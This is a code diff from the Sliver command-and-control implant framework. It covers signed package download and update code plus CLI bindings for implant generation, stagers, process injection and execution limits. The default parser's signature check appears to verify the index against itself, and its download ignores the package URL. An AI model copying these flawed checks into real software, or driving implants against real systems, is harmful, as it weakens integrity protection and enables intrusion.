"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
)
// ArmoryIndexParser - Generic interface to fetch armory indexes
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
// ArmoryPackageParser - Generic interface to fetch armory package manifests
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
var (
indexParsers = map[string]ArmoryIndexParser{
"api.github.com": GithubAPIArmoryIndexParser,
}
pkgParsers = map[string]ArmoryPackageParser{
"api.github.com": GithubAPIArmoryPackageParser,
}
)
const (
armoryIndexFileName = "armory.json"
armoryIndexSigFileName = "armory.minisig"
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig
ArmoryIndex string `json:"armory_index"` // Base64 String
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig
TarGzURL string `json:"tar_gz_url"`
}
//
// Default Parsers for Self-Hosted Armories
//
// DefaultArmoryParser - Parse the armory index directly from the url
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
return nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
index := &armoryIndexResponse{}
err = json.Unmarshal(body, index)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
if !valid {
return nil, errors.New("invalid signature")
}
armoryIndex := &ArmoryIndex{}
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
if err != nil {
return nil, err
}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
}
return armoryIndex, nil
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
pkgResp := &armoryPkgResponse{}
err = json.Unmarshal(body, pkgResp)
if err != nil {
return nil, nil, err
}
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
if err != nil {
return nil, nil, err
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
return nil, nil, errors.New("invalid url scheme")
}
resp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
tarGz, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
}
return sig, tarGz, nil
}
//
// GitHub API Parsers
//
type GithubAsset struct {
ID int `json:"id"`
Name string `json:"name"`
URL string `json:"url"`
Size int `json:"size"`
BrowserDownloadURL string `json:"browser_download_url"`
}
type GithubRelease struct {
ID int `json:"id"`
Name string `json:"name"`
URL string `json:"url"`
HTMLURL string `json:"html_url"`
TagName string `json:"tag_name"`
Body string `json:"body"`
Prerelease bool `json:"prerelease"`
TarballURL string `json:"tarball_url"`
ZipballURL string `json:"zipball_url"`
CreatedAt string `json:"created_at"`
PublishedAt string `json:"published_at"`
Assets []GithubAsset `json:"assets"`
}
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
return nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, errors.New("api returned non-200 status code")
}
releases := []GithubRelease{}
err = json.Unmarshal(body, &releases)
if err != nil {
return nil, err
}
if len(releases) < 1 {
return nil, errors.New("no releases found")
}
release := releases[0] // Latest only right now
var armoryIndexData []byte
var sigData []byte
for _, asset := range release.Assets {
if asset.Name == armoryIndexFileName {
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
armoryIndexData, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
}
if asset.Name == armoryIndexSigFileName {
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
sigData, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
}
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, armoryIndexData, sigData)
if !valid {
return nil, errors.New("invalid signature")
}
armoryIndex := &ArmoryIndex{}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
}
return armoryIndex, nil
}
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, nil, errors.New("api returned non-200 status code")
}
releases := []GithubRelease{}
err = json.Unmarshal(body, &releases)
if err != nil {
return nil, nil, err
}
release := releases[0] // Latest only right now
var sig *minisign.Signature
var tarGz []byte
for _, asset := range release.Assets {
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
var resp *http.Response
resp, err = client.Get(asset.BrowserDownloadURL)
if err != nil {
break
}
defer resp.Body.Close()
var body []byte
body, err = ioutil.ReadAll(resp.Body)
if err != nil {
break
}
sig, err = parsePkgMinsig(body)
if err != nil {
break
}
}
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
var resp *http.Response
resp, err = client.Get(asset.BrowserDownloadURL)
if err != nil {
break
}
defer resp.Body.Close()
tarGz, err = ioutil.ReadAll(resp.Body)
if err != nil {
break
}
}
}
return sig, tarGz, err
}
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
var sig minisign.Signature
err := sig.UnmarshalText(data)
if err != nil {
return nil, err
}
if len(sig.TrustedComment) < 1 {
return nil, errors.New("missing trusted comment")
}
return &sig, nil
}
func httpClient(config ArmoryHTTPConfig) *http.Client {
return &http.Client{
Timeout: config.Timeout,
Transport: &http.Transport{
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
},
},
}
}
-65
View File
@@ -1,65 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"regexp"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ArmorySearchCmd - Search for packages by name
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
rawNameExpr := ctx.Args.String("name")
if rawNameExpr == "" {
con.PrintErrorf("Please specify a search term!\n")
return
}
nameExpr, err := regexp.Compile(rawNameExpr)
if err != nil {
con.PrintErrorf("Invalid regular expression: %s\n", err)
return
}
aliases, exts := packagesInCache()
matchedAliases := []*alias.AliasManifest{}
for _, a := range aliases {
if nameExpr.MatchString(a.CommandName) {
matchedAliases = append(matchedAliases, a)
}
}
matchedExts := []*extensions.ExtensionManifest{}
for _, ext := range exts {
if nameExpr.MatchString(ext.CommandName) {
matchedExts = append(matchedExts, ext)
}
}
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
return
}
PrintArmoryPackages(matchedAliases, matchedExts, con)
}
-112
View File
@@ -1,112 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ArmoryUpdateCmd - Update all installed extensions/aliases
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
// Aliases
aliasUpdates := checkForAliasUpdates(clientConfig, con)
if 0 < len(aliasUpdates) {
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
for _, aliasName := range aliasUpdates {
err := installAliasPackageByName(aliasName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
}
}
} else {
con.PrintInfof("All aliases up to date!\n")
}
// Extensions
extUpdates := checkForExtensionUpdates(clientConfig, con)
if 0 < len(extUpdates) {
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
for _, extName := range extUpdates {
err := installExtensionPackageByName(extName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
}
}
} else {
con.PrintInfof("All extensions up to date!\n")
}
}
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
cachedAliases, _ := packagesInCache()
results := []string{}
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
data, err := ioutil.ReadFile(aliasManifestPath)
if err != nil {
continue
}
localManifest, err := alias.ParseAliasManifest(data)
if err != nil {
continue
}
for _, latestAlias := range cachedAliases {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
}
}
}
return results
}
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
_, cachedExtensions := packagesInCache()
results := []string{}
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
data, err := ioutil.ReadFile(extManifestPath)
if err != nil {
continue
}
localManifest, err := extensions.ParseExtensionManifest(data)
if err != nil {
continue
}
for _, latestExt := range cachedExtensions {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
}
}
}
return results
}
+77 -439
View File
@@ -17,7 +17,7 @@ package command
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
---------------------------------------------------------------------
---
This file contains all of the code that binds a given string/flags/etc. to a
command implementation function.
@@ -36,12 +36,11 @@ package command
import (
"os"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/armory"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -54,6 +53,7 @@ import (
"github.com/bishopfox/sliver/client/command/jobs"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/command/macros"
"github.com/bishopfox/sliver/client/command/monitor"
"github.com/bishopfox/sliver/client/command/network"
"github.com/bishopfox/sliver/client/command/operators"
@@ -68,7 +68,6 @@ import (
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/command/shell"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/update"
"github.com/bishopfox/sliver/client/command/use"
@@ -87,7 +86,6 @@ const (
// BindCommands - Bind commands to a App
func BindCommands(con *console.SliverConsoleClient) {
// Load Reactions
n, err := reaction.LoadReactions()
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("Failed to load reactions: %s\n", err)
@@ -95,198 +93,16 @@ func BindCommands(con *console.SliverConsoleClient) {
con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
}
// Load Aliases
aliasManifests := assets.GetInstalledAliasManifests()
n = 0
for _, manifest := range aliasManifests {
_, err = alias.LoadAlias(manifest, con)
if err != nil {
con.PrintErrorf("Failed to load alias: %s\n", err)
continue
// Attempt to load extensions from ~/.sliver-client/extensions/
exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
// Absorb error in case there's no extensions manifest
if err == nil {
for _, ext := range exts {
extensions.RegisterExtensionCommand(ext, con)
}
n++
}
if 0 < n {
if n == 1 {
con.PrintInfof("Loaded %d alias from disk\n", n)
} else {
con.PrintInfof("Loaded %d aliases from disk\n", n)
}
}
// Load Extensions
extensionManifests := assets.GetInstalledExtensionManifests()
n = 0
for _, manifest := range extensionManifests {
ext, err := extensions.LoadExtensionManifest(manifest)
// Absorb error in case there's no extensions manifest
if err != nil {
con.PrintErrorf("Failed to load extension: %s\n", err)
continue
}
extensions.ExtensionRegisterCommand(ext, con)
n++
}
if 0 < n {
con.PrintInfof("Loaded %d extension(s) from disk\n", n)
}
con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
// [ Aliases ] ---------------------------------------------
aliasCmd := &grumble.Command{
Name: consts.AliasesStr,
Help: "List current aliases",
LongHelp: help.GetHelpFor([]string{consts.AliasesStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
alias.AliasesCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
con.App.AddCommand(aliasCmd)
aliasCmd.AddCommand(&grumble.Command{
Name: consts.LoadStr,
Help: "Load a command alias",
LongHelp: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
alias.AliasesLoadCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the alias directory")
},
Completer: func(prefix string, args []string) []string {
return completers.LocalPathCompleter(prefix, args, con)
},
HelpGroup: consts.GenericHelpGroup,
})
aliasCmd.AddCommand(&grumble.Command{
Name: consts.InstallStr,
Help: "Install a command alias",
LongHelp: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
alias.AliasesInstallCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("path", "path to the alias directory or tar.gz file")
},
Completer: func(prefix string, args []string) []string {
return completers.LocalPathCompleter(prefix, args, con)
},
HelpGroup: consts.GenericHelpGroup,
})
aliasCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove an alias",
LongHelp: help.GetHelpFor([]string{consts.RmStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
alias.AliasesRemoveCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("name", "name of the alias to remove")
},
Completer: func(prefix string, args []string) []string {
return alias.AliasCommandNameCompleter(prefix, args, con)
},
HelpGroup: consts.GenericHelpGroup,
})
// [ Armory ] ---------------------------------------------
armoryCmd := &grumble.Command{
Name: consts.ArmoryStr,
Help: "Automatically download and install extensions/aliases",
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr}),
Flags: func(f *grumble.Flags) {
f.Bool("I", "insecure", false, "skip tls certificate validation")
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
f.String("t", "timeout", "15m", "download timeout")
},
Run: func(ctx *grumble.Context) error {
con.Println()
armory.ArmoryCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
con.App.AddCommand(armoryCmd)
armoryCmd.AddCommand(&grumble.Command{
Name: consts.InstallStr,
Help: "Install an alias or extension",
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
Flags: func(f *grumble.Flags) {
f.Bool("I", "insecure", false, "skip tls certificate validation")
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
f.String("t", "timeout", "15m", "download timeout")
},
Run: func(ctx *grumble.Context) error {
con.Println()
armory.ArmoryInstallCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("name", "name of the extension or alias to install")
},
Completer: func(prefix string, args []string) []string {
return armory.AliasExtensionOrBundleCompleter(prefix, args, con)
},
HelpGroup: consts.GenericHelpGroup,
})
armoryCmd.AddCommand(&grumble.Command{
Name: consts.UpdateStr,
Help: "Update installed an aliases and extensions",
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
Flags: func(f *grumble.Flags) {
f.Bool("I", "insecure", false, "skip tls certificate validation")
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
f.String("t", "timeout", "15m", "download timeout")
},
Run: func(ctx *grumble.Context) error {
con.Println()
armory.ArmoryUpdateCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
armoryCmd.AddCommand(&grumble.Command{
Name: consts.SearchStr,
Help: "Search for aliases and extensions by name (regex)",
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}),
Args: func(a *grumble.Args) {
a.String("name", "a name regular expression")
},
Run: func(ctx *grumble.Context) error {
con.Println()
armory.ArmorySearchCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
// [ Update ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -421,8 +237,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -446,8 +262,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
@@ -470,7 +286,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Start a stager listener",
LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}),
Flags: func(f *grumble.Flags) {
f.String("p", "profile", "", "implant profile name to link with the listener")
f.String("p", "profile", "", "Implant profile to link with the listener")
f.String("u", "url", "", "URL to which the stager will call back to")
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
@@ -510,10 +326,10 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Session management",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr}),
Flags: func(f *grumble.Flags) {
f.String("i", "interact", "", "interact with a session")
f.String("k", "kill", "", "kill the designated session")
f.Bool("K", "kill-all", false, "kill all the sessions")
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
f.String("i", "interact", "", "interact with a sliver")
f.String("k", "kill", "", "Kill the designated session")
f.Bool("K", "kill-all", false, "Kill all the sessions")
f.Bool("C", "clean", false, "Clean out any sessions marked as [DEAD]")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -527,7 +343,7 @@ func BindCommands(con *console.SliverConsoleClient) {
}
sessionsCmd.AddCommand(&grumble.Command{
Name: consts.PruneStr,
Help: "Kill all stale/dead sessions",
Help: "Kill all stale sessions",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
Flags: func(f *grumble.Flags) {
@@ -606,8 +422,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "namedpipe connection strings")
f.String("i", "tcp-pivot", "", "tcppivot connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.String("d", "delay", "0s", "delay opening the session (after checkin) for a given period of time")
@@ -623,24 +439,6 @@ func BindCommands(con *console.SliverConsoleClient) {
}
con.App.AddCommand(openSessionCmd)
// [ Close ] --------------------------------------------------------------
closeSessionCmd := &grumble.Command{
Name: consts.CloseStr,
Help: "Close an interactive session without killing the remote process",
LongHelp: help.GetHelpFor([]string{consts.CloseStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.CloseSessionCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
con.App.AddCommand(closeSessionCmd)
// [ Tasks ] --------------------------------------------------------------
tasksCmd := &grumble.Command{
@@ -705,7 +503,7 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
Completer: func(prefix string, args []string) []string {
return use.BeaconAndSessionIDCompleter(prefix, args, con)
return use.Completer(con, prefix, args)
},
HelpGroup: consts.GenericHelpGroup,
}
@@ -1006,7 +804,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverHelpGroup,
@@ -1020,9 +817,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("s", "save", false, "save output to file")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
},
Args: func(a *grumble.Args) {
a.String("filepath", "path the shared library file")
@@ -1277,7 +1073,7 @@ func BindCommands(con *console.SliverConsoleClient) {
})
generateCmd.AddCommand(&grumble.Command{
Name: consts.StagerStr,
Help: "Generate a stager using Metasploit (requires local Metasploit installation)",
Help: "Generate a implant stager using MSF",
LongHelp: help.GetHelpFor([]string{consts.StagerStr}),
Flags: func(f *grumble.Flags) {
f.String("o", "os", "windows", "operating system")
@@ -1288,7 +1084,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
f.String("s", "save", "", "directory to save the generated stager to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -1300,9 +1095,9 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.GenericHelpGroup,
})
generateCmd.AddCommand(&grumble.Command{
Name: consts.CompilerInfoStr,
Name: consts.CompilerStr,
Help: "Get information about the server's compiler",
LongHelp: help.GetHelpFor([]string{consts.CompilerInfoStr}),
LongHelp: help.GetHelpFor([]string{consts.CompilerStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1357,16 +1152,11 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Generate implant from a profile",
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
Flags: func(f *grumble.Flags) {
f.String("p", "name", "", "profile name")
f.String("s", "save", "", "directory/file to the binary to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("name", "name of the profile", grumble.Default(""))
},
Completer: func(prefix string, args []string) []string {
return generate.ProfileNameCompleter(prefix, args, con)
},
Run: func(ctx *grumble.Context) error {
con.Println()
generate.ProfilesGenerateCmd(ctx, con)
@@ -1375,35 +1165,32 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
profilesNewCmd := &grumble.Command{
profilesCmd.AddCommand(&grumble.Command{
Name: consts.NewStr,
Help: "Create a new implant profile (interactive session)",
Help: "Save a new implant profile",
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}),
Flags: func(f *grumble.Flags) {
// Generate flags
f.String("o", "os", "windows", "operating system")
f.String("a", "arch", "amd64", "cpu architecture")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.Bool("s", "skip-symbols", false, "skip symbol obfuscation")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("m", "mtls", "", "mtls domain(s)")
f.String("g", "wg", "", "wg domain(s)")
f.String("H", "http", "", "http[s] domain(s)")
f.String("n", "dns", "", "dns domain(s)")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.String("c", "canary", "", "canary domain(s)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
@@ -1413,11 +1200,11 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("R", "profile-name", "", "profile name")
f.String("N", "name", "", "agent name")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("name", "name of the profile", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
generate.ProfilesNewCmd(ctx, con)
